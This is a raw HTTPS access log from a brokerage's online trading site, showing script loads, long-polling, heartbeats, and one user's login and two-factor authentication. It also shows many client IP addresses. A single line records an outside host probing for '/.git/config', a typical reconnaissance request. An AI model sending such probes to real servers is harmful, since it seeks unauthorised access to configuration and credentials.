[09/Jan/2026:14:58:17 +0800] 180.163.29.79 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:58:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942167355 HTTP/1.1" -
[09/Jan/2026:14:58:18 +0800] 180.163.29.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:58:18 +0800] 180.163.29.103 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:58:18 +0800] 180.163.29.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:58:18 +0800] 180.163.29.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:58:18 +0800] 180.163.30.27 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:58:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:14:58:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:14:58:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:58:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942168021 HTTP/1.1" -
[09/Jan/2026:14:58:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942175734 HTTP/1.1" -
[09/Jan/2026:14:58:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 443
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:58:20 +0800] 180.163.28.55 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767942170796 HTTP/1.1" 3188
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:58:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:14:58:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:14:58:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942186020 HTTP/1.1" -
[09/Jan/2026:14:58:21 +0800] 180.163.29.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:58:21 +0800] 180.163.29.234 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:58:21 +0800] 180.163.29.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:58:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:21 +0800] 180.163.28.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:58:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:21 +0800] 180.163.29.79 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:58:21 +0800] 180.163.28.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:58:21 +0800] 180.163.29.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:14:58:21 +0800] 180.163.28.114 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:58:21 +0800] 180.163.30.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:14:58:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942172373 HTTP/1.1" -
[09/Jan/2026:14:58:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942173156 HTTP/1.1" -
[09/Jan/2026:14:58:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942180828 HTTP/1.1" -
[09/Jan/2026:14:58:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942191050 HTTP/1.1" -
[09/Jan/2026:14:58:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942177413 HTTP/1.1" -
[09/Jan/2026:14:58:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942178215 HTTP/1.1" -
[09/Jan/2026:14:58:29 +0800] 64.62.156.222 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/config HTTP/1.1" 196
[09/Jan/2026:14:58:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942185867 HTTP/1.1" -
[09/Jan/2026:14:58:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942196075 HTTP/1.1" -
[09/Jan/2026:14:58:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942182440 HTTP/1.1" -
[09/Jan/2026:14:58:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942183287 HTTP/1.1" -
[09/Jan/2026:14:58:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942190943 HTTP/1.1" -
[09/Jan/2026:14:58:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942201132 HTTP/1.1" -
[09/Jan/2026:14:58:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942187488 HTTP/1.1" -
[09/Jan/2026:14:58:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942188449 HTTP/1.1" -
[09/Jan/2026:14:58:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942196052 HTTP/1.1" -
[09/Jan/2026:14:58:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942206159 HTTP/1.1" -
[09/Jan/2026:14:58:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942192509 HTTP/1.1" -
[09/Jan/2026:14:58:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942193577 HTTP/1.1" -
[09/Jan/2026:14:58:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942201118 HTTP/1.1" -
[09/Jan/2026:14:58:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942211229 HTTP/1.1" -
[09/Jan/2026:14:58:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 410
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
